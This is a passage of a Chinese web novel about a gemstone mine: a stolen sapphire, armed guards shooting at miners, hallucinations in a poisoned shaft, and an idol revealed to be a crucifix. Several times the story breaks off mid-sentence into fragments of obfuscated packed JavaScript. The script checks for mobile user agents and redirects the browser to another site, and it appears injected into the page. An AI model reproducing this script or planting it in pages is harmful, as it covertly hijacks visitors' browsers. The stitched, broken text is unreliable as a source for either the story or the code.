35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584365|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这是象林啊亲爱的,靠近北区,北区又穷那加人又多,不全来矿上讨生活了。” 柳之杨这才后知后觉,矿上的问题比他想得还要复杂。 穆雅马有许多民族,穆雅马族占了大多数,但下面还有许多的小民族,那加人就是其中之一。 他们的语言不同、习俗也有差异,信仰的宗教也不同。穆雅马人信仰象神,和古蔓童是不同教派的神。 这也是为什么,那加人只敢在住的塑料棚里供奉古蔓童。 柳之杨问:“那加人和你们关系好吗?” 甘川说:“有的还行吧,三狗就是那加人。但三狗外其他那加人不会说穆雅马话,没有交流。” “那有冲突吗?”柳之杨问。 甘川摇头:“那加人性格挺好的,只是不爱说话。不过他们供奉的那东西是真有点吓人……” 甘川上矿迟到了。 作为重点关注对象之一,泰擒发现甘川还没来时,大声嚷嚷如果抓到他要把他腿打断。 矿工们不敢答,只低头做事。 泰擒骂骂咧咧,一转头,看见雷和甘川正往这边走。 雷把甘川带到矿场边,甘川半只脚才踏入矿区,立刻被泰擒喊住:“你迟到了一个小时!今天的饭没有了!!” 雷说:“理事让他去后山割草,所以晚了。理事说,照常给他吃饭。” 泰擒还要说什么,却见雷已经开始捏拳头,努努嘴,给了甘川一脚,没再说话。 矿场工作有条不紊地进行着,直到中午吃饭,三狗才挤眉弄眼地问:“川哥,昨晚你一夜没回来,干啥去了?” 甘川从碗里抬头,用筷子敲了他脑袋一下,“小屁孩儿不该问的别问。” 旁边的颂巴笑笑,“还能干什么去,卸货去了嘛!” 三狗双眼放光,“你哪里找的小妹妹卸货!给我也整一个嘛!” 甘川神秘地笑笑,没说话。 颂巴看着他说:“怕不是小妹妹哦。” “你们他妈的是八婆吗,”甘川端着空碗起身,“赶紧吃完去抽根烟,下午还要做活!” 木房子里,柳之杨捧着一本讲穆雅马民俗宗教的书,在屋内来回踱步。 那书写得玄之又玄,什么诅咒、招魂……直给他看得眼睛疼。 偏偏穆雅马人非常信这些,柳之杨也曾经跟随言老大去佛寺祭拜过。 五年前,正值一栋高楼建设,谁知挖地基时挖出一堆坟。言老大吓坏了,连夜赶去了寺庙。 吉云寺占地上百亩,是东区最大的佛寺,言老大在里面投入甚多,这次礼佛也是浩浩荡荡,集团所有有头有脸的人都去了。 除了甘川。 虽然是在他工地上出的事,但他死活不肯去,无论是言老大来劝、还是柳之杨来劝,他只答一句话:“我不信这些,去了也是给佛祖添堵。” 僵持之际,陈颂主动请缨、代甘川的位置陪言老大去。 言老大高兴十分,从此对陈颂也多有偏重。 柳之杨想着这些陈年旧事,翻过一页书。那书上画的东西让他眉头一皱:是个小孩模样的泥塑,盘坐着,手一只指上一只指下,笑得诡异。 图下面写着“古蔓童”几个字。 实在瘆人,柳之杨没有细看,放下书,洗了把脸。 15. 拇指大的蓝宝石 夕阳西斜,映下橙红一片。 柳之杨打开木屋的门,外面天气仍然炎热,吹过来的风裹挟着沙土和热气,压在胸口,闷闷的。 他脱了外套,解开领带,卷起袖口,把枪卡在后腰,和雷来到栈道。 矿场门口的队伍排得老长,矿工们像流水线上的机器人,把石头放进箩筐,然后往前走到岗亭里检查。 甘川盘算着,这泰擒歇了一天没找自己麻烦,不知道憋什么坏。 前面队伍移动,甘川往前走了一步,却撞到三狗身上。 三狗不在状态,前面人都走老远了,他才慌里慌张跟上。 整个人蹑手蹑脚地,心里一看就藏了事情。 甘川看着他的后脑勺,挑了挑眉。 很快到了岗亭,三狗深吸了好几口气,缓缓进入检查的房间。 甘川在外面等着,眼见旁边岗亭出来了一个、两个、三个、四个,这边三狗还没有动静。 又过了一分钟,“砰!”地一声,岗亭的门猛地被推开,三狗不要命地跑了出来,朝矿区里跑去。 甘川嗅到空气中变了的味道,也迅速转身去追三狗。 下一秒,两个卡恰从岗亭跑出,一个去追他们,一个朝门口的泰擒大喊: “他偷了个拇指大的蓝宝石!!” 这句话如惊雷般打在矿区。 泰擒的瞳孔瞬间放大:“多大?!” “拇指大!老大,甚至比拇指还大!” 拇指大的蓝宝石,别说红品矿山了,整个穆雅马乃至世界都找不出几块。 所有人的心都咯噔了一下。 这种程度的稀世珍品现世,是不会有什么好事情发生的。 柳之杨看见矿区局势有变,又见甘川跟着三狗跑了,皱起眉,赶紧朝岗亭走去。 甘川追上三狗,反手打晕追上来的卡恰,抢了他的枪,骂三狗道:“你他妈是不是疯了!!” 三狗回身看他,还没反应过来发生什么,辩解道:“川哥,我就想着带一点出去,之前也带……” “砰!” 一颗子弹落到三狗脚边。没等他说话,就被甘川一把扑倒。 “卧倒!!” 下一秒,子弹如雨一般打了过来,打在沙地上,激起满天尘埃。 泰擒双眼通红,指着矿区里的甘川和三狗大声吼道:“开枪!给我打死那两个人,把宝石抢过来!!” 二十多个卡恰举起枪,疯狂朝矿区里射击。 矿工们惊恐地喊叫着,有的跑到矿坑边躲过一劫、有的躲在挖土堆起来的沙丘后面、有的才一动,就被一枪打到身上。 鲜血如一朵朵鲜花绽开,撒在矿区的沙石地上。 “泰擒!”柳之杨赶到岗亭,厉声质问,“你在干什么?你疯了吗?” 泰擒笑着,像一只恶毒的蝎子,“理事,那两个人偷了宝石,按照矿上规矩可以杀了!” 柳之杨一把抓住他的衣领,一双冰冷的眼睛死死盯住他,“我警告你,马上住手!” 泰擒笑着,“我不呢?我告诉你柳之杨,我从第一天就看那个川哥不顺眼,老子今天,一定打死他!!” 那边,三狗直接被吓傻了,他趴在土丘后面,抖成了个筛糠,“川,川哥……” 甘川趴在他旁边,子弹不停打在四周:“别他妈叫魂。” 说着,把背上的枪取下,上好膛,稍稍扬了点头,立刻有子弹打过来。他赶紧缩头躲过,举枪就往子弹来的地方打了一枪。 也不知道打中没,反正打就是了。 就这样打了六七八九枪后,甘川再拉保险栓,发现没子弹了。 枪声很快包围过来,周围的沙地都被打得坑坑洼洼。 甘川于是把枪扔开,看向三狗说:“妈的,老子做梦都没想到会是和你一起死。” 一边说,一边开始摸口袋,“烟呢?” 三狗两行泪水流下,颤抖着嘴唇说:“川哥,你干嘛要过来嘛……” “你不是我小弟吗,当大哥的不救你救谁?”甘川摸半天烟没摸到,问三狗,“你带烟了吗?” 三狗摇头,哭得上气不接下气,“川哥,是我害了你,我不知道,我没想到……” 甘川躺在沙地上,听着他哭坟一样的声音烦躁至极。 枪声越来越近,头顶最后的阳光也逐渐褪去,甘川心想,自己要是被打死了,柳之杨能不能接得了整个建工集团…… 柳之杨拔出后腰的枪,枪口抵在泰擒腰上,他咬着牙,一字一句说:“住手。” 泰擒笑得猖狂,他瞪着柳之杨,“你他妈敢开枪吗?我可是……” 他的话止住,不敢置信地低头。 自己腰间已经开了个血洞,正泊泊往外冒血。 柳之杨拉着泰擒的衣领,将他按在岗亭边的围栏上,又朝天上开了一枪,把滚烫的枪管抵到他下颌。 “我最后说一遍,住手。” 柳之杨精致有条理的头发此刻完全散开,一双眼睛冰冷却又能从中看见燃烧的火焰,似乎要把人吞没。 泰擒终于意识到一件事,眼前的人,真的会开枪杀了自己。 “停……停!”泰擒朝手下卡恰们喊道。 枪声骤停。 甘川蹲在沙丘后面,往外看了一眼。 就在这时,三狗忽然把一个小布包塞到他手里,趁机跌跌撞撞地跑进了矿场边那个废弃的矿洞里。 此刻天完全暗下来,人跑进洞里,就像是被那洞给吃了似的,很快没了踪影。 甘川低头,看清布包里的东西后,手一抖。 是一颗大拇指大小的蓝宝石,晶莹剔透。 柳之杨下了矿场,他穿着皮鞋,走在坑坑洼洼的沙石地上,来到甘川身边,颤声问:“没事吧?” 甘川抬头,握上柳之杨的手,站起身,“能有什么事。” 柳之杨感觉手上有什么硌着,等收回手才看见,手心躺着一颗大拇指的蓝宝石。 他看向甘川,甘川对他轻轻点了点头。 “所有在矿区里的人,过来重新检查!”泰擒用矿区广播说道。 卡恰们拿着枪,把躲在四处的矿工集合起来,到岗亭下排队检查。 柳之杨握紧宝石,正要走,手腕被甘川拉住。 “泰擒这个疯子,”甘川小声说,“他肯定还要查你,还是给我吧亲爱的。” “那边的,赶紧过来!” 两个卡恰抬着枪这边走来,柳之杨看清人后眼神一亮,说:“没事。” 两个卡恰其中之一是沈佳瑞,他畏畏缩缩地跟在那个高大的卡恰身后,走到柳甘二人面前。 “看什么,快走!”高大的卡恰用枪赶他们。 甘川跟着高大的卡恰走在前面。 柳之杨则来到沈佳瑞身边,走着走着,不小心崴脚,撞了沈佳瑞一下。 前面的卡恰立刻转头,“干什么!” 柳之杨说:“崴脚了。” 卡恰看了眼他的鞋子,说道:“快走!” 宝石已经神不知鬼不觉落到了沈佳瑞兜里。 甘川看了看沈佳瑞,顿了片刻,才转身跟上卡恰的步伐。 岗亭外,颂巴等矿工早就等在外面,见甘川全须全尾地出来,松了口气。 颂巴上前,问:“川哥,三狗呢?” 甘川指着矿区说:“跑进那个洞里了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584366|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你亲眼看到的?”问这话的不是颂巴,而是一个扎着头巾的男人。他说穆雅马话有些口音,甘川打量着他,这是个那加人。 这时,柳之杨也检查完从岗亭里出来,一眼认出,这男人就是当时给他们那颗小宝石的人。 甘川已经很累,说:“我他妈梦到的。” 颂巴尴尬地笑笑,和甘川介绍道:“川哥,他叫貌貌,是红品矿山那加人们的大哥。” 貌貌并未因甘川的乱说生气,反而说:“谢谢你救了三狗,神会保佑你的。” “柳川!”泰擒腰上围了一大圈纱布,他捂着伤口,一瘸一拐地带卡恰围过来。 甘川反应了一会儿才意识到他在喊自己,转过身,被卡恰按倒在地。 “你他妈的……”甘川挣扎着。 没等柳之杨开口,泰擒大声说:“理事不懂矿上规矩。貌貌你告诉理事,把矿上的东西偷拿出来,要怎么处理?!” 貌貌这才看到柳之杨,一愣,移开视线说:“要关两天禁闭,不能吃喝。” 泰擒说:“别这样看着我柳之杨,你他妈就算是理事也不能违背规则,规则都是矿场老板定的。以前是言老板,现在……应该是集团副总什么甘川吧?可他妈现在在哪儿呢?” 甘川被按在沙地上,动弹不得,第一次体会到了什么叫“无语”。 “不过,”泰擒走向柳之杨,“只要理事和我进矿洞,把三狗找到,还柳川个清白,他就可以少关几天了。” 柳之杨看着泰擒。 在泰擒眼里,宝石还在三狗手上,肯定得进矿去找。但把柳之杨放在外面很危险,最好就是一起去。 为防止泰擒找到三狗后直接杀了他,柳之杨同意了。 泰擒带了十个健壮的卡恰,还有貌貌以及四十个那加人进洞。 雷跟在柳之杨身后,才走到矿区大门口,被柳之杨拦住。 雷奇怪:“你不要我进去吗?” 柳之杨说:“我没危险,你守好甘川,别把他饿死了。” 雷眨眨眼睛,又点头。 雷目送他们一行人打着手电筒进了那黑乎乎的矿洞,转身去给甘川送吃的。 关禁闭的地方是个笼子,非常小,人在里面得一直站着,笼子旁边还有个卡恰拿枪守着。 不过夜已深,卡恰坐在旁边的土堆上睡着了。 甘川左脚换右脚右脚换左脚地站着,心里担心不已。这时看见雷鬼鬼祟祟来送吃的,他瞪大双眼,小声问:“你怎么没和之杨下去?” 雷说:“老板说他没危险。” “你他妈,”甘川气得抬手要打他,“要没危险泰擒带十把枪四十个人进去?他进去玩儿吗?!” 雷缩了一下,想通了甘川的话,放下吃的说:“我现在进去。” “蠢猪啊你真是,”甘川招手让他回来,“矿洞里全是路,你现在进去人早找不到了!” “要不我把你放出来?” “把我放出来有个鸡毛用!老子知道里面的路吗难道!” 雷不知道怎么办了,呆站在那儿。 甘川看到他就心烦,问:“你知道卡恰里有个华国人吗?特白特呆的一个。” 雷说:“有点印象。” “你开柳之杨的车,连夜把他送回集团里,就说是我送回去的,让他们好好看着,哪都不许去!” 雷不会问为什么,答应后离开了。 沈佳瑞是卡恰,泰擒又不在,他离开矿场很简单。 十分钟后,柳之杨的车驶离了红品矿山,沈佳瑞坐在车里,眼睛被蒙了一层黑布。 一切发生得太快,他甚至没发现自己兜里多了个拇指大的宝石。 16. 矿洞 矿洞很久没人来过,垃圾遍地,空气中全是尘土和潮湿的味道。 越往里走,垃圾逐渐少了,但洞口那一点点光亮也消失,前后都只剩漆黑的洞道,不知道通往何处。 还好洞够大,三四个人并肩同行,走在锈迹斑驳的铁轨上。貌貌带人在前开路,柳之杨和泰擒在中间,后面有数十那加人殿后。 泰擒已经快疯魔了,完全感受不到腰上枪伤的痛,双眼只剩贪欲。 大概走了二十分钟,他们来到一个高数十米的洞厅内。 洞厅边堆了许多废弃矿车,面前出现五个洞口,铁轨也一分为五,往洞口里蔓延。 有的铁轨锈迹很重,有的却还像新的似的,说明不是每个洞里都有非常多的矿。 五个洞口压在众人眼前,像是血盆大口吞没一切,一时没人说话。 泰擒踹了前面那加人一脚:“给我进去探路!” 那加族人们迫于枪的威力,只能找出五个人,一个人进了一个洞口。 五分钟后,十点钟方向的洞里忽然传来爆炸声,尘土顺着洞口喷涌出来。 貌貌大惊,朝着洞口喊:“拉七,拉七!!” 泰擒掏了掏耳朵:“别喊了,被埋了。” 貌貌和柳之杨这才反应过来,泰擒是拿别人的命去试路。 柳之杨握紧拳头。 其他四个洞的那加人返回。这个矿场很大,每个洞口又有新的洞厅、蔓延出新的洞道。 泰擒说:“行,排除了一个错误选项,分队吧,柳理事和我走,其他随便。” 那加人很快分成四个队伍,泰擒又让每个队跟了几个带枪的卡恰。 这样找到三狗,可以第一时间控制他。 等分好组,泰擒看向一旁的柳之杨,说:“我这组,那加人不必跟上来了。” “不行,”柳之杨拒绝,“至少十个那加人和我一起,不然我就出去。” 那加人不在,一进洞,泰擒完全可以一枪把自己杀了。 只有那加人在,泰擒才不敢杀自己。除非他把十个那加人也一起杀了,那矿上一下少了十多个劳动力,他会被泰金打死的。 泰擒努努嘴,冷哼一声,默认了。 柳之杨几乎是被枪抵着走的,他跟在泰擒身后,一群人进了一点钟方向的洞里。 他们边走,边喊着三狗的名字。声音回荡在矿洞里,没有回应。 洞越来越深,潮湿的空气粘在身上,越来越喘不过气。 走了不知道多久,他们果然又来到一个洞厅,洞厅又链接这三条洞道。 柳之杨、泰擒、一个卡恰、两个那加人一组,走进其中一个洞道。 进去前,柳之杨余光瞟到右边有些什么,似乎是一手指天一手指地的古蔓童。他一愣,定睛看去,却又什么都没有。 柳之杨感觉自己的心跳得很快,几个深呼吸勉强稳定,抽出后腰的枪,紧紧握着。 泰擒看他拿枪,腰上枪伤一阵抽痛,说:“你别发疯啊!卡恰拿的是机关枪,能给你打成筛子!” “走。”柳之杨说。 泰擒悄悄白了他一眼,继续往前走,一边拖长声音喊三狗。 “三狗……三狗……” 声音绕在洞里,变得没那么清晰了,和空气一样黏糊糊、忽远忽近地,好像还夹杂了些别的声音。 柳之杨感觉头有些晕,他停下脚步,用力摇了摇头。 等再睁眼,眼前的光全消失了。 一阵寒意从脚底升起。 “泰擒,泰擒?”柳之杨一边喊,一边拿出手电筒,却因为拿着枪,不小心把手电筒掉在地上。 他赶紧俯身去捡,什么都看不见,只能在地上乱摩挲。 摸着摸着,他摸到皮肉的触感。 不是饱满的皮肉,是干瘪的,死了很多年的皮肉。 柳之杨缩回手,往后退了几步,死死靠在墙壁上。 这只是个死去的人——柳之杨告诉自己——他见得多了,没什么值得害怕的。 可下一秒,他眼前出现了一个影子:一手指天一手指地的古蔓童,笑着望着他。 一眨眼,又消失了。 柳之杨手心出了许多汗。 他深吸几口气蹲下身,再次尝试去摸手电,可除了沙石什么都没有,就连刚才的皮肉也摸不到了。 这时,柳之杨听到了哭声,他鼓起勇气喊了一句:“三狗?” 哭声瞬间变成笑声。 而后,眼前再次出现了古蔓童。 柳之杨举枪,对着影子连开几枪,火光短暂地照亮了柳之杨周围几米地地方。 影子消失了。 柳之杨冷汗直冒,反应过来一件事,自己是不是什被那加人下了什么蛊? 不,不能信。 柳之杨用力揉眼,他的手抖个不停,周围的空气像是被人抽走,让他胸闷难受。 谁知,睁眼的瞬间,眼前冒出来无数个古蔓童,端坐在莲花上,对自己诡异地笑。 耳边又是哭声又是笑声,交织在一起,回荡在矿洞内。 他再次开枪,可枪不知道为什么卡弹了。 他颤抖着手去拉保险栓,子弹却掉了一地。 空气越来越少,柳之杨几乎要窒息了,他跪倒在地,拼命呼吸着。 这时,他眼前忽然闪过一个熟悉的人影:米拉。 米拉的眼睛死死盯着自己,瞳孔是白的,手上脸上都是血。 下一秒米拉又消失了,取而代之的是柳之杨的母亲。 她背对着柳之杨,正在老房子里烧饭,嘴里还哼着歌。 极度恐惧时看见母亲,柳之杨再也忍不住,泪水夺眶而出,大声喊道:“妈,妈!!救我妈!!” 柳母似乎有所感觉,看了过来。 六年了,柳之杨从没忘记过母亲的样子,她笑得那么温和,轻声问道:“阿杨,今晚回来吃饭吗?” “砰!”一颗子弹从左而右贯穿母亲的头。 柳之杨目眦欲裂,他张着嘴,想喊妈,可声音卡在嗓子眼,怎么都喊不出来。 “老板!老板!” 柳之杨猛地醒了过来。 他躺在木屋的床上,阳光从窗子打到屋内,灿烂又温暖。 雷蹲在他旁边,见他醒了,说:“我还以为你已经死了,你去矿洞里缺氧中毒了你知道吗……” 雷的声音忽远忽近,柳之杨缓缓坐起身,头沉得像是有铅灌在里面。 雷看他这样子,挠挠脑袋,转身出门,叫了个人进去。 门打开又关上。 “杨杨?” 甘川的声音一汪泉水灌入柳之杨心里。 柳之杨这才感觉自己活了。 他掀开被子冲下床,牢牢抱住甘川。 甘川身体比阳光还要热,把柳之杨在洞里感受到的所有寒冷都驱散。 甘川回抱住他,健壮的手臂将人抱离地面。 柳之杨的泪水不止,滴落在甘川肩上,“哥,我看见我妈妈了……” 甘川轻轻理着他的后颈,“我知道了,亲爱的。” “妈妈在给我做饭,”柳之杨脑子不甚清醒,眼前全是在洞里看到的画面,“但她被杀了,米拉杀了她……” 柳之杨从来没有这样失态过。 甘川不知道他在洞里经历了什么,但柳之杨的泪水像刀一样割在他心里。 “……哥,古蔓童是真的,他真的存在,我看见他了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584367|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那加人肯定给我下蛊,不然我怎么会看见……” 甘川听见这话,把柳之杨放开了些,捧着他的脸,用大拇指拂去他的泪水,坚定地说:“亲爱的,这个世界上没有鬼也没有神。” “有,真的有……”柳之杨像喝醉了一样。 甘川压下眉,去摸柳之杨的头,烫得他心一惊,“怎么烧成这样?” “古蔓童在诅咒我,那加人为什么要害我……” 柳之杨一边说,想起洞里看到的古蔓童,恶心的感觉上涌,偏过头吐了一地。 好不容易把柳之杨安抚睡着了,甘川离开木屋,轻轻关上门。 雷和一些矿工守在外面。 甘川问雷:“找医生来看过吗?” 雷说:“看过了,说是缺氧加吸入矿内有毒气体昏倒,已经吃药了。但发烧……医生说找不到病因。” “这群吃干饭的,老子……等理事醒了,肯定让理事开了他们。” 雷小声说:“老板梦里一会儿叫妈一会儿叫古蔓童,古蔓童是个邪神,他不会是被诅咒了吧?” 甘川抬手,雷立刻缩了一下。 甘川这才意识到还有很多矿工看着,只好转了个方向,捋了捋自己的头发。 颂巴皱着眉说:“川哥,你别说,还真有可能,可会是谁用古蔓童诅咒理事呢?” 一旁一个小矿工说:“会不会真的是那加人?” 甘川问他:“你去过那加人的棚屋吗?你他妈知道古蔓童长什么样吗?” 小矿工连连摇头,其他矿工们也摇头。 他们不是那加人,平时也不会进那加人的棚子,哪怕是偶尔瞥一眼,也只能看见祭坛上有个东西在被供奉。具体是什么,他们不知道。 另一个矿工说:“柳理事没来几天,矿上就挖出蓝宝石,会不会和这事有关?” 越说越玄乎了。甘川烦躁地挠挠脑袋。 “一天找不到宝石,我一天不放过你们!!” 泰擒怒气冲冲地朝棚区吼道。 那加人在矿洞里找到了三狗,他和柳之杨一样缺氧又中毒,没挺到出洞就死了。 泰擒把三狗全身翻遍都没找到蓝宝石,甚至想挖开三狗肚子找,被貌貌为首的那加人制止了。 泰擒找宝石快找疯了,三狗也是那加人,所以他认定宝石一定在那加人身上。 从出矿洞到现在已经两天,泰擒又停工了,折磨得所有那加人没吃饭没睡觉。 泰擒走到木屋门口,看见甘川,朝他们啐了一口,“看什么!没关够禁闭?!” 甘川指节捏得咔咔响,想起躺在屋内的柳之杨,他再也遏制不住怒火,冲上去就要踢他,被颂巴和两个矿工控制住。 “川哥!川哥!你要是又被关禁闭,理事怎么办?”颂巴说。 这么多天,他也看出些道道,但只当柳之杨和甘川看对眼了,没有想更深。 泰擒见状,更为嚣张,吊儿郎当地走过来,“哟,柳之杨还没死啊?我可没动他,是他自己走岔路自己中了毒,别这样看我。” 泰擒说着,眼睛一转,对甘川招了招手,“你你你,过来。” 卡恰拿枪指着甘川,逼迫他过去。 泰擒把他带到一边,问:“你当时在三狗旁边,三狗不会把石头给你了吧?” 甘川说:“你他妈不是搜过我了吗?” 泰擒点着头。确实,出矿场前、甘川被关禁闭前、出矿洞后,泰擒都仔细搜过甘川。 但有一个人,只在出矿场前搜过。 泰擒一脚踹开木屋门,带着一堆卡恰围到柳之杨床边。 床上柳之杨双眼紧闭,脸上身上都有一层薄汗,胸口微微起伏着,像是正在经受极大折磨。 17.古蔓童? “泰擒!你敢动……”甘川和其他矿工和冲了进来,可话说道一半就被卡恰制服,按到地上,并用布堵住了他的嘴。 “妈的终于清净了,”泰擒坐到柳之杨床边,看着甘川说,“你来第一天我就应该把你舌头割了!” 泰擒一一扫视过跟来的矿工,“你们谁还要来?” 他有枪,矿工们低下头,默默握紧拳头。 “喂,”雷推开矿工,拿着枪走上前,吆喝泰擒,“出去出去。” 泰擒给了身边卡恰一个眼神。 卡恰抬手就是一枪,打中雷的手臂。 雷的枪脱手,被卡恰踢开。 雷愤怒,不顾流血的手臂要去打泰擒,又被一枪打在大腿上。雷踉跄了一下,摔倒在泰擒脚边。 泰擒笑着,并不着急杀了他,抬脚去踩他手臂上的伤。 雷痛苦地颤抖起来,冷汗沾满额头。 “我警告过你,”泰擒指着雷说,“下次见你,一定杀了你。” 说着,他接过卡恰的手枪,对准雷的脑袋。 忽然,杵在床上的手腕被握住。 泰擒回头,柳之杨醒了。 他的脸色比雷还差,脸上唇上没有任何血色,但一双眼睛冷冽如冰,盯着泰擒。 “放开他。”柳之杨说。 声音很微弱,但不容置喙。 泰擒思考片刻,把枪放在床上,示意卡恰搜柳之杨的身。 柳之杨抬手止住他们的动作,强撑着坐起身,清瘦的手指去解自己的衬衫纽扣。 他头很痛,每一次眨眼,眼前都会出现古蔓童的样子。 古蔓童像是缠上他一样,在他耳边念着古老经文,听不清抓不住,嘴咧得也越来越大,快要把整张脸都撕开了。 “你看什么?”泰擒顺着柳之杨的视线看去,只有木屋的墙壁,催促道,“动作快点!” 柳之杨解纽扣的手在抖,第四颗怎么都解不开。 泰擒本就性子急,见状伸手就要去扯,兜里手机忽然响了。 泰擒收回手,没好气地接起来:“喂!” 等听清那边的声音后,泰擒脸色大变,猛地站起身,带着卡恰出去了。 颂巴等矿工连忙上前,把中枪的雷抬到卧室外面,给他包扎。 屋内只剩甘川,柳之杨再也撑不住,倒回床上。 甘川给他倒了杯水,把他扶起来喝了点儿。 “哎呦亲爱的,”看着怀里的人,甘川话里满是担心,“怎么病成这样了。” 柳之杨说:“是古蔓童……” “古蔓童、古蔓童,”甘川一边拍着他,想了想还是说:“但亲爱的,这世界上没有鬼神……” “有,有。” “有有有。”甘川决定不和这个发高烧的人争执。 甘川用被子包裹住他,把他抱在怀里。 柳之杨却推开他的手。 甘川以为他是怕被其他人看见,说:“没事亲爱的,他们都在外面。” 柳之杨摇摇头,艰难地穿上外衣,“得证明给他看,我没宝石。” 泰擒接到的,是陈颂的电话。 泰擒在万豪赌场欠了五千万的赌债,把整个红品矿山赔上都不够。 言老板之前只睁一只眼闭一只眼,但现在陈颂面临执政官达耳的审查,他必须把账平了。 泰擒恳求道:“陈老板,你再给我点儿时间,求你了,我这里还有些货没出手,等出了手一定还你。” 陈颂如蛇一样的声音从听筒中传来:“你的货够五千万吗?泰擒,明天给我五千万,一次性,否则,我只能告诉你爸了。” “别,千万别和我爹说。”泰金要知道这事,估计会带着他一起去跳湄公河。 “明天前,五千万。”陈颂说完,毫不留情地挂了。 泰擒握紧手机,眼神逐渐变得狠厉。 五千万他一下拿不出来,但只要找到那颗拇指大的宝石,别说五千万,再来一个亿都抵得住。 就是掘地三尺,他也要找到那颗蓝宝石。 才要转身回去逼柳之杨,柳之杨自己送上门来了。 他头发散在两侧,没有之前的锐利,外面披了一件西服,被风吹起衣角。 柳之杨推开甘川搀扶的手,朝岗亭走去。 三分钟后,为柳之杨搜身的卡恰走出岗亭,对泰擒摇了摇头。 泰擒的拳头砸到木门外的围栏上,直接把木制围栏砸烂。 “还有哪里,还有哪里……”他来回踱步,“三狗、那加人……” 忽然,他脚步一顿,猛地抬起头。 “你们搜了那加人的棚窝了吗?” 一个卡恰为难地说:“泰哥,已经搜了三遍了,确实没有。” “那里,搜了吗?”泰擒指着矿场边上的象神问。 卡恰说:“哥,那是他们的神,碰了他们真的会疯的!” “再找不到宝石我就要疯了!”泰擒吼道,“走!” 他带着一伙卡恰,气势汹汹朝那加人棚屋冲过去。 柳之杨整理好衣服从岗亭出来,炎热的阳光晒得他头晕目眩。 甘川跑了过来,及时扶住他。 柳之杨见泰擒冲进那加人的棚窝,太阳穴直跳,问:“他又要干什么?” 不等甘川答,几声枪声从棚窝传来。接着,棚窝抖动起来,时不时有人被丢到塑料棚上,印出一个个人形。 这可比前几次冲突剧烈多了。 柳之杨不顾身体不适,往棚窝走去,越靠近,眼前的古蔓童就越大越实在。 甘川将他拽进自己怀里,皱眉担忧地说:“亲爱的,别过去了。” 柳之杨说:“哥,我必须得去看看。” 犟得要死。甘川咬牙,打算直接把他打横抱起放回屋里。 那边那加人和泰擒的冲突已经压不住,双方打着打着离开了棚窝,来到空地上。 卡恰不敢随便打死人,近战又不好瞄准,只能把枪当做冷兵器,和那加人扭打在一起。 偏偏那加人极其能打,随手拿过一个杯子、一本书、一个木棍都能打得卡恰连滚带爬。 一片混乱。 那加人个个打红了眼,为首的貌貌抓住想跑的泰擒,狠狠在他脸上打了一拳。 “我忍你很久了!你根本没把我们当人!” “亵渎神!你去死吧!!” 颂巴他们在旁边听了一会儿,跑到柳之杨身边汇报道: “泰擒带人砸了那加人的神龛。” 柳之杨眼前古蔓童的身影不散反深,还听见了古蔓童痛苦的呼声: “救救我,救救我!!” 他怎么都要去看看了。 甘川拦不住,只能陪他穿过乱七八糟的打架现场,掀开塑料棚。 里面非常闷热,两边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587032|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砌起十数米的高台,一边有五六十套凉席放在上面,还有扇子、书、小风扇。 味道也很难闻,汗味、脚臭味夹杂在一起。 放下塑料棚,打架的声音被削弱,闷闷地回荡在棚窝里。 两个高台的尽头有个神龛,但上面的神已经没了,只留下个空空的台子,还有两根倒下的红蜡烛。 在台子下方不远处,有个小雕像静静躺在水泥地上。 柳之杨按捺住心中的恐惧,慢慢走了过去,他要亲眼看看,诅咒自己的古蔓童到底长什么样。 皮鞋一步步靠近,柳之杨走到小雕像不远处,伸头看了一眼。 他愣住了。 雕像是个十字架,一个长胡子长头发的男人被钉在上面。 这是古蔓童? 这不是耶稣吗? 柳之杨俯身,捡起雕像。 他甚至怀疑耶稣的穆雅马名字是不是叫古蔓童。 但他知道不可能。 “哎呦,”甘川凑过来看,“原来古蔓童长这样啊?不是,为什么一个老头子要叫古蔓童?” 看着垂着头的耶稣,柳之杨昏沉的脑袋清醒过来。 柳之杨指着耶稣像,问甘川:“你管这叫一个坐着的古蔓童?” 